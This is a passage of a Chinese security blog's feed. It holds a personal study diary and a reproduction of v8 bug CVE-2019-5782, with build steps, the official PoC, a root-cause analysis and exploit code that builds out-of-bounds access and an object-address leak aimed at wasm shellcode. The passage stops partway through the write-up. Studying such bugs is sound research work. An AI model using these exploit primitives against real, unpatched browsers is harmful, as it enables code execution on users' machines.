id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://ptr-yudai.hatenablog.com/entry/2021/07/26/225308" id="Hatena_wp">https://ptr-yudai.hatenablog.com/entry/2021/07/26/225308 <strong>#Hatena_wp</strong> </a></li><li><a href="https://github.com/dqi/ctf_writeup/tree/master/2021/fullchain">https://github.com/dqi/ctf_writeup/tree/master/2021/fullchain</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/set">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/set</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;2021 google ctf 一道 pwn 题的复现，正如题目的名字，这是一条利用链，从 v8 到 sandbox-escape 再到 kernel pwn 提权&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://www.xi4oyu.top/categories/ctf/"/>
    
    
      <category term="v8" scheme="http://www.xi4oyu.top/tags/v8/"/>
    
      <category term="kernel" scheme="http://www.xi4oyu.top/tags/kernel/"/>
    
      <category term="sandbox-escape" scheme="http://www.xi4oyu.top/tags/sandbox-escape/"/>
    
  </entry>
  
  <entry>
    <title>2021/5/5 随便写写</title>
    <link href="http://www.xi4oyu.top/5609a6a/"/>
    <id>http://www.xi4oyu.top/5609a6a/</id>
    <published>2021-05-05T03:20:00.000Z</published>
    <updated>2021-05-05T03:20:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>五一假期最后一天，随便写写记录一下最近干的事情和心情。还整理了最近学习的东西，以及相关的一些文章链接，感兴趣都可以看看</p><span id="more"></span><h2 id="最近在学"><a href="#最近在学" class="headerlink" title="最近在学"></a>最近在学</h2><h3 id="关于-v8"><a href="#关于-v8" class="headerlink" title="关于 v8"></a>关于 v8</h3><p>最近一整个月都没更新文章，比较摸鱼，断断续续的学习 v8 的漏洞利用，以及打打比赛。关于 v8 的利用之前是打算一周复习一个 CVE 的，本来在 <strong>CVE-2019-5782</strong> 文章后面，应该会发一篇关于 <strong>CVE-2018-17463</strong> 的复现文章了， 但是后来发现，在没有搞懂 v8 JIT 的优化之前，很多 CVE 的复现都只能停留在看前辈的文章逐步跟着走，调试摸清楚 exp 都做了什么，而我想达到的是能够根据官方提供的 poc，能够有能力的自己构造 exp。</p><p>所以最近在摸索 v8 的 JIT 优化编译器 <strong>Turbofan</strong>，有点难，学得比较吃力，这里扔下几篇在看的文章吧，同样感兴趣读者可以看看：</p><ul><li><a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/">https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/</a></li><li><a href="https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/#simplified-lowering">https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/#simplified-lowering</a></li><li><a href="https://www.anquanke.com/post/id/229482">https://www.anquanke.com/post/id/229482</a></li><li><a href="https://www.anquanke.com/post/id/229554">https://www.anquanke.com/post/id/229554</a></li></ul><p>4 月 12 日左右的时候，chrome 爆出 0day，当时 v8 引擎已经修复了，但是 chrome 浏览器没有发布新的版本，仍然存在漏洞，编号是 <strong>CVE-2021-21220</strong>，我就去研究了一下，原理倒是搞懂了，还是那样只能停留在分析别人的 exp 上，而没法根据已有 poc 构造 exp。所以我就没打算写复现文章了。后面陆续发现了 issuse 上有 4 个不同的 poc，都是构造一个长度为 -1 的数组的方式，我打算等学习好 Turbofan 后，再来尝试根据这 4 个 poc，都构造 exp，届时会好好写篇文章（如果我还记得）</p><h3 id="关于编译原理"><a href="#关于编译原理" class="headerlink" title="关于编译原理"></a>关于编译原理</h3><p>感觉编译原理挺重要的，而且这方面也有点兴趣，不过我的专业没开这门课，也不想增加自己的学业负担而去跨专业选课，就在 <em>中国大学Mooc</em> 上找了门课程自己学习。说来惭愧，本身自己的课程也没怎么认真听（可以说几乎没听），这编译原理网课倒是学得比自己专业的课程要多，不过进度也比计算机专业的学生慢了点。</p><p>五一过后也得好好补补自己专业的课程了哈哈哈。</p><h3 id="关于操作系统"><a href="#关于操作系统" class="headerlink" title="关于操作系统"></a>关于操作系统</h3><p>这个可以说是我最大的执念，一直想着写内核，但是一直都是做了一点点又开始忙别的事情去了。这导致我每次想做的时候，都得从头开始再搞懂一些细节。</p><p>在这方面的话，这学期在看的书有两本：</p><ol><li>《操作系统真象还原》  这个本书的这个‘象’字就是这个字，不是错别字</li><li>《一个64位操作系统的设计与实现》</li></ol><p>第一本书看了也有一半了，第二本书还没怎么看，希望这学期都能看完吧</p><h3 id="关于编程水平"><a href="#关于编程水平" class="headerlink" title="关于编程水平"></a>关于编程水平</h3><p>最近想提高自己的 C++ 编程水平，跟着文章学习，实现一个 markdown 解析器，其实早该完成的，只是我太摸鱼了，没怎么动，写写停停，周末想起有这回事的时候去写几行代码，两个星期了都还没写完哈哈哈</p><p>编程最有意思的时候当然是造轮子啦，趁着还没毕业还没工作，还有时间，当然自娱自乐造轮子啦，最近也发现一个有意思的项目：<br><a href="https://github.com/danistefanovic/build-your-own-x">https://github.com/danistefanovic/build-your-own-x</a></p><p>这个项目上汇集了很多编程项目的教程，包括我一直以来最想做的两件事情：</p><ol><li>从头开始，写一个系统内核，再到一个完整的操作系统</li><li>写一个编译器/解释器</li></ol><p>第一点中，我从上面的项目中看到了一个很符合我想法的教程：<br><a href="https://www.youtube.com/playlist?list=PLHh55M_Kq4OApWScZyPl5HhgsTJS9MZ6M">https://www.youtube.com/playlist?list=PLHh55M_Kq4OApWScZyPl5HhgsTJS9MZ6M</a></p><p>这个教程的目录就很吸引我，不仅实现了 GUI，还实现了网络通信</p><h2 id="关于-ctf-比赛"><a href="#关于-ctf-比赛" class="headerlink" title="关于 ctf 比赛"></a>关于 ctf 比赛</h2><p>最近主要打了两场国际赛吧，协会一直以来都想向国际靠拢，开始尝试打打国际 ctf 比赛，确实很难。</p><p>先是打了 PlaidCTF，题目质量确实挺好的，前面提到的 chrome 0day 直接就用来出题了。题目挺难的，而且我也忙着其他事情，在找到一题的利用点后，交给学弟后，我就跑路了，后面没怎么看题，最后学弟确实做出来了，我也挺开心的</p><p>五一假期还打了长 Defcon 的资格赛，pwn 题好多，题目好难，投入时间很多，但没什么收获，应该是题目难度和自身水平差太远了，协会最后就做出了两题 pwn 和 一题 web，只排在了 50 名左右</p><p>这两场比赛给我打自闭了，就一直在想为啥别人这么强啊（难道我头发多？</p><p>思考了很久，只能用一句话来安慰自己</p><blockquote><p><strong>“比你强的总有人在，不必太过纠结，好好提升自己的水平就好了”</strong></p></blockquote><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>关于操作系统和编译器的两个最想写的项目，可能这学期都没空做了，学业太繁忙，只能先学学理论知识了。</p><p>有一件比较开心的事情就是：暑期实习找到了，国内的某安全实验室，具体哪里就不写了<br>还是挺期待实习的，不知道实习后，我的认知和技术会得到什么样提升呢？</p><p>现在大二，下学期就大三了，时间过得真快。留给我慢慢接触感兴趣事情的时间还有多少呢？</p><p><strong>少画饼，多干事，别想太多，走着瞧吧！</strong></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;五一假期最后一天，随便写写记录一下最近干的事情和心情。还整理了最近学习的东西，以及相关的一些文章链接，感兴趣都可以看看&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="琐碎事" scheme="http://www.xi4oyu.top/tags/%E7%90%90%E7%A2%8E%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2019-5782</title>
    <link href="http://www.xi4oyu.top/696ac724/"/>
    <id>http://www.xi4oyu.top/696ac724/</id>
    <published>2021-04-05T10:14:00.000Z</published>
    <updated>2021-04-05T10:14:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>v8 引擎漏洞 CVE-2019-5872 复现，因本人对 JIT 技术的了解较浅，故本文对漏洞成因的 JIT 方面并不做详细的说明。</p><span id="more"></span><h2 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h2><p>切换到漏洞修复前的版本，进行编译：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">$ <span class="token function">git</span> checkout b474b3102bd4a95eafcdb68e0e44656046132bc9$ gclient <span class="token function">sync</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>debug 模式调试会有点问题，所以选择 release 模式进行编译</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">$ ./tools/dev/v8gen.py x64.release<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>为了使用 job 等调试命令，在 <code>out.gn/x64.release/args.gn</code> 里写入下面配置：</p><pre class="line-numbers language-none"><code class="language-none">is_debug &#x3D; falsetarget_cpu &#x3D; &quot;x64&quot;v8_enable_backtrace &#x3D; truev8_enable_disassembler &#x3D; truev8_enable_object_print &#x3D; truev8_enable_verify_heap &#x3D; true<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最后编译即可</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">$ ninja -C out.gn/x64.release d8<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>先使用官方的 Poc 进行测试：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token comment">// Copyright 2018 the V8 project authors. All rights reserved.</span><span class="token comment">// Use of this source code is governed by a BSD-style license that can be</span><span class="token comment">// found in the LICENSE file.</span><span class="token comment">// Flags: --allow-natives-syntax</span><span class="token keyword">function</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token parameter">arg</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> x <span class="token operator">=</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  a1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a2<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">21</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">41</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">8.91238232205e-313</span><span class="token punctuation">;</span>  <span class="token comment">// 0x2a00000000</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> a1<span class="token punctuation">,</span> a2<span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">2.2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0x11000</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token number">3.3</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> a4 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a4<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">OptimizeFunctionOnNextCall</span><span class="token punctuation">(</span>fun<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a4<span class="token punctuation">)</span><span class="token punctuation">;</span>res <span class="token operator">=</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a3<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">assertEquals</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> a2<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">32</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">assertEquals</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">,</span> a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>上面的 <code>assertEquals</code> 是没有定义的，稍作更改如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token parameter">arg</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> x <span class="token operator">=</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  a1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a2<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">21</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">41</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">8.91238232205e-313</span><span class="token punctuation">;</span>  <span class="token comment">// 0x2a00000000</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> a1<span class="token punctuation">,</span> a2<span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">2.2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0x11000</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span><span class="token function">fill</span><span class="token punctuation">(</span><span class="token number">3.3</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> a4 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a4<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">OptimizeFunctionOnNextCall</span><span class="token punctuation">(</span>fun<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a4<span class="token punctuation">)</span><span class="token punctuation">;</span>res <span class="token operator">=</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a3<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a2<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">32</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到，a2 数组的长度从 16 变成了 42(0x2a)，且从 <code>a2[16]</code> 往后的数值都不是 undefined，很明显出现了数组越界<br><img src="/images/696ac724/pasted-2.png" alt="upload successful"></p><p>稍加调试，就可以发现问题出现在这里：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js">a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">21</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span>a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">41</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">8.91238232205e-313</span><span class="token punctuation">;</span>  <span class="token comment">// 0x2a00000000</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>这里造成了越界写操作，把 a2 的 length 给改写了，但实际上对数组越界写的情况是会导致数组扩容的，经过了解，这是因为 JIT 优化把越界的一些检查去掉了，导致漏洞的产生</p><p>可以看看漏洞修复的 diff ：<br><img src="/images/696ac724/pasted-3.png" alt="upload successful"></p><p>修复前，函数参数的长度类型是 <code>Type::Range(0.0, Code::kMaxArguments, zone());</code></p><p><code>Code::kMaxArguments</code> 的值是 65534，表示函数支持的最大参数数量是 65534，但是后来函数参数支持更多了，这里确没有更改，Poc 中使用了右移 16 位的操作符，65534 右移 16 位必定是 0，所以 JIT 认为这一计算始终是 0，于是进行了优化，把一些越界检查给去掉了，因此造成了越界读写的漏洞</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>只要改写 a2 的 length 字段很大的值，那么 a2 数组可以越界的范围很大，漏洞利用起来也很简单</p><ol><li>先利用数组越界读写泄露对象的地址</li><li>再利用越界读写构造任意地址读写</li><li>结合 1, 2 可以 leak 出 wasm 的 RWX 段位置，再任意写注入 shellcode </li></ol><p>先仿照 Poc 将 a2 的 length 改成很大的值，如 0xffff：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token parameter">arg</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> x <span class="token operator">=</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  a1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a2<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">21</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">41</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> a1<span class="token punctuation">,</span> a2<span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span><span class="token number">2.2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0x11000</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">100000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%OptimizeFunctionOnNextCall(fun);</span><span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a3<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中的 <code>%OptimizeFunctionOnNextCall(fun)</code> 其实让 JIT 优化 <code>fun</code> 函数，其实可以用多次循环调用 <code>fun</code> 函数来替代</p><p>这里为了方便后续的使用，还写了 BigInt 与 Float 类型的互相转换函数：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> fi_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>fi_buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> i_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>fi_buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        f_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span>        <span class="token keyword">return</span> i_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        i_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span>        <span class="token keyword">return</span> f_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="泄露对象地址"><a href="#泄露对象地址" class="headerlink" title="泄露对象地址"></a>泄露对象地址</h3><p>先定义一个对象 <code>objLeak</code>，有 <code>tag</code> 和 <code>leak</code> 属性，利用越界读，找到 <code>tag</code> 属性值 0x4567 相对于数组 a2 偏移的索引，即可得到 <code>leak</code> 属性对应的索引 <code>offset_leak</code>，再通过 <code>a2[offset_leak]</code> 即可将 <code>leak</code> 属性的 float 值读出来，只要往 <code>leak</code> 属性放入任意的对象，即可读出任意对象的地址</p><p>代码如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> objLeak <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'leak'</span><span class="token operator">:</span> <span class="token number">0x1234</span><span class="token punctuation">,</span> <span class="token string">'tag'</span><span class="token operator">:</span> <span class="token number">0x4567</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> offset_leak <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xffff</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0x456700000000</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                offset_leak <span class="token operator">=</span> i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span>                <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'offset_leak = '</span> <span class="token operator">+</span> offset_leak<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        objLeak<span class="token punctuation">.</span>leak <span class="token operator">=</span> obj<span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>offset_leak<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> objTest <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'aaa'</span><span class="token operator">:</span> <span class="token number">123</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'addressOf(objTest) = 0x'</span> <span class="token operator">+</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>上面还用了 <code>objTest</code> 对象来测试 <code>addressOf</code>，调试结果如下：<br><img src="/images/696ac724/pasted-4.png" alt="upload successful"></p><h3 id="任意地址读写"><a href="#任意地址读写" class="headerlink" title="任意地址读写"></a>任意地址读写</h3><p>任意地址读写其实也很简单，可以先定义一个 